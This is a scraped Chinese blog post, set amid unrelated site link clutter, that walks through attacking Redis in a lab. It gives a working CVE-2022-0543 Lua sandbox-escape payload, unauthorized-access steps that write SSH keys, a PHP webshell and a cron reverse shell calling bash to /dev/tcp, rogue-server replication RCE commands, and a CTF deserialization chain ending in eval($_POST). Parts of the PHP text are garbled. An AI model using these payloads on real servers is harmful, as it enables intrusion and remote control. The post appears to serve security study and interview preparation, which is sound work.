当前位置: 首页 > news >正文

做微信头图的网站wordpress 多用户商城

做微信头图的网站,wordpress 多用户商城,做任务赚佣金的平台,论基层门户网站的建设Redis 0x01 redis学习 在渗透测试面试或者网络安全面试中可能会常问redis未授权等一些知识#xff0c;那么什么是redis#xff1f;redis就是个数据库#xff0c;常见端口为6379#xff0c;常见漏洞为未授权访问。 0x02 环境搭建 这里可以自己搭建一个redis环境#xf…Redis 0x01 redis学习 在渗透测试面试或者网络安全面试中可能会常问redis未授权等一些知识那么什么是redisredis就是个数据库常见端口为6379常见漏洞为未授权访问。 0x02 环境搭建 这里可以自己搭建一个redis环境也可以用vulfocus搭建一个环境可以两个都搭建因为一些攻击手法需要自己搭建的环境才能成功。 ubuntu 20.04docker docker create -p 8088:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP127.0.0.1 vulfocus/vulfocus建议vulfocus最好搭建在云服务器上本机搭建的有的环境可能会复现不成功。 0x03漏洞复现 Redis Lua沙盒绕过 命令执行 CVE-2022-0543 该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量该变量又允许访问任意 Lua 功能。我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数即可获得io库再使用其执行命令 该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量该变量又允许访问任意 Lua 功能 我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数即可获得io库再使用其执行命令 代码如下 local io_l package.loadlib(/usr/lib/x86_64-linux-gnu/liblua5.1.so.0, luaopen_io);local io io_l();local f io.popen(id, r);local res f:read(*a);f:close();return respayload如下 eval local io_l package.loadlib(/usr/lib/x86_64-linux-gnu/liblua5.1.so.0, luaopen_io); local io io_l(); local f io.popen(id, r); local res f:read(*a); f:close(); return res 0漏洞复现 eval local io_l package.loadlib(/usr/lib/x86_64-linux-gnu/liblua5.1.so.0, luaopen_io); local io io_l(); local f io.popen(ls, r); local res f:read(*a); f:close(); return res 0这里可以用another redis 这个个管理工具方便redis数据库使用 eval local io_l package.loadlib(/usr/lib/x86_64-linux-gnu/liblua5.1.so.0, luaopen_io); local io io_l(); local f io.popen(find / -name flag*, r); local res f:read(*a); f:close(); return res 0未授权访问redis 未授权访问 CNVD-2015-07557 这个未授权访问存在很多而且面试也很常问实战也能遇见到。 攻击姿势常见有三种1写入公钥2写入webshell,3写入计划任务当然其中有不少细节我们需要去掌握。 帮助网安学习全套资料S信免费领取 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS 1.linux写入公钥 利用前提 Redis服务使用ROOT账号启动安全模式protected-mode处于关闭状态 允许使用密钥登录即可远程写入一个公钥直接登录远程服务器 ssh-keygen -t rsacd /root/.ssh/(echo -e \n\n; cat id_rsa.pub; echo -e \n\n) key.txtcat key.txt | redis-cli -h 目标IP -x set xxx这里权限不够这个是vulfocus有问题 满足条件的话可以直接这样可以自己搭建一个redis环境做实验 具体搭建可参考 https://blog.csdn.net/qq_41210745/article/details/103305262 yes要改成no 环境启动接着 config set dir /root/.ssh/config set dbfilename authorized_keyssavecd /root/.ssh/ssh -i id_rsa root目标IP已经成功写入 进入该ubuntu查看 cd /root/.ssh/ 尝试SSH连接 ssh -i id_rsa root192.168.48.133可以看到成功拿下 2.写入webshell 前提条件有可写权限存在web服务知道web路径 继续用该环境下尝试webshell写入 命令如下 FLUSHALL 使用这个清空之前的配置 前提条件web目录可以读写 config set dir /tmp 设置WEB写入目录config set dbfilename test.php 设置写入文件名set test ?php phpinfo();? 设置写入文件代码set xxx \r\n\r\n?php phpinfo();?\r\n\r\n 换行防止执行失败bgsave 保存执行savechmod -R 777 /var/www/html/这里设置html尝试写入webshell 3.写计划任务反弹shell FLUSHALL 记得清空配置 利用条件Redis服务使用ROOT账号启动安全模式protected-mode处于关闭状态 环境依然是上面的配置环境 config set dir /var/spool/cronset yy \n\n\n* * * * * bash -i /dev/tcp/ip/端口 01\n\n\nconfig set dbfilename xsaveset yy nnn* * * * * bash -i /dev/tcp/192.168.48.133/9999 01\n\n\n注意 centos会忽略乱码去执行格式正确的任务计划 而ubuntu并不会忽略这些乱码所以导致命令执行失败 可以看到有乱码ubuntu并未正常执行 主从复制利用 https://github.com/n0b0dyCN/redis-rogue-server 得到的是一个交互式的shell https://github.com/vulhub/redis-rogue-getshell 这个可以直接命令执行 redis-rogue-serve python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IPpython3.6 redis-rogue-server.py --rhost 192.168.48.133 --rport 29325 --lhost 192.168.48.132redis-rogue-getshell 这里记得要编译 cd RedisModulesSDK/makepython3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132 -P 6666 -f RedisModulesSDK/exp.so -c idpython3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132 -P 6666 -f RedisModulesSDK/exp.so -c find / -name flag* 实际情况中我们可以灵活运用exp.so文件不一定非得用脚本比如这种情况 天翼杯 考点反序列化redis主从复制RCE代码 ?phpclass a{public $code ;function __call($method,$args){eval($this-code);}// function __wakeup(){// $this-code ;// }}class b{function __destruct(){echo $this-a-a();}}$anew A();$bnew B();$a-codephpinfo();;$b-a$a;echo serialize($b);构造POP链子可以看到call魔术方法里面有eval函数那么需要构造链子触发到call魔术方法。 __call():当调用对象中不存在的方法会自动调用该方法__wakeup()当使用unserialize()反序列化一个对象后会自动调用该对象的__wakeup方法 这里__destruct方法调用了一个不存在的a方法那么会调用到__call方法 因为__wakeup方法中 t h i s − c o d e ; 还有 p r e g m a t c h a l l ( ′ / [ B A ] : ( . ∗ ? ) : / s ′ , this-code ;还有preg_match_all(/[BA]:(.*?):/s, this−code;还有pregm​atcha​ll(′/[BA]:(.∗?):/s′,_REQUEST[‘poc’],$ret);这里有过滤所以接下来要做到绕过__wakeup和正则这里利用__wakeup的CVE和php对类名大小写不敏感的特性去绕过AB换成a,b其中__wakeup漏洞原理:在类对象属性个数超过实际个数时就会不执行wakeup函数。 如下O:1:“b”:1:{s:1:“a”;O:1:“a”:1:{s:4:“code”;s:10:“phpinfo();”;}}绕过wakeupO:1:“b”:2:{s:1:“a”;O:1:“a”:1:{s:4:“code”;s:10:“phpinfo();”;}} 这里无法执行system(“ls” 蚁剑连接 a − c o d e e v a l ( a-codeeval( a−codeeval(_POST[“a”]);; 打开之后发现其泄露了redis的密码define(“REDIS_PASS”,“you_cannot_guess_it”);蚁剑插件连接上 使用EXP.so文件 MODULE LOAD /var/www/html/exp.so 然后就可以进行命令执行了 若有收获就点个赞吧
http://www.zqtcl.cn/news/680374/

相关文章:

  • 软件工程 旅游网站开发er图昆山网站建设网站建设
  • 网站下载的网页修改下面版权所有企业建设营销型网站的目的有
  • 官方重大项目建设库网站手机ps软件如何做ppt下载网站
  • 全国加盟网站大全海尔网站建设目标
  • wordpress 企业站模版自己做视频网站可以吗
  • 建设电子商务网站的方法有广东网站开发收费
  • php网站页面转wordpress网站广告代码
  • 在线网站建设教程网站版面布局结构
  • 网站建设提议网站建设怎么在图片上加字
  • 网站模板但没有后台如何做网站家政网站开发
  • 自己办网站审批流程网页设计师的发展路径
  • 什么叫网站地图百度竞价排名费用
  • 企业网站建设顾问wordpress如何用API采集
  • win7网站后台无法编辑vr网站建设
  • 做头发个人网站制作素材dw中做网站的步骤
  • 学校网站做几级等保网页制作与维护
  • 十堰外贸网站建设松滋做网站
  • 网站导航条青浦徐泾网站建设
  • 厦门网站建设一般多少钱店铺域名是什么意思
  • 网站关键词搜索排名怎么做雅奇小蘑菇做网站好不好用
  • 手机网站案例建设网站地图素材
  • 企业网站制作比较好的如何设计一个网页首页代码
  • 维护网站成本网站建设进度图
  • asp.net做织梦网站设计手机网站建设
  • 江苏省住房和城乡建设局网站首页北京大型网站制作公司
  • 网站改版工作方案网站设计技能培训
  • 佳木斯市网站建设淄博网站开发招聘
  • 学习软件的网站先备案先建网站
  • 建立网站 知乎常州网站制作机构
  • 洛阳建设网站上海高端室内设计事务所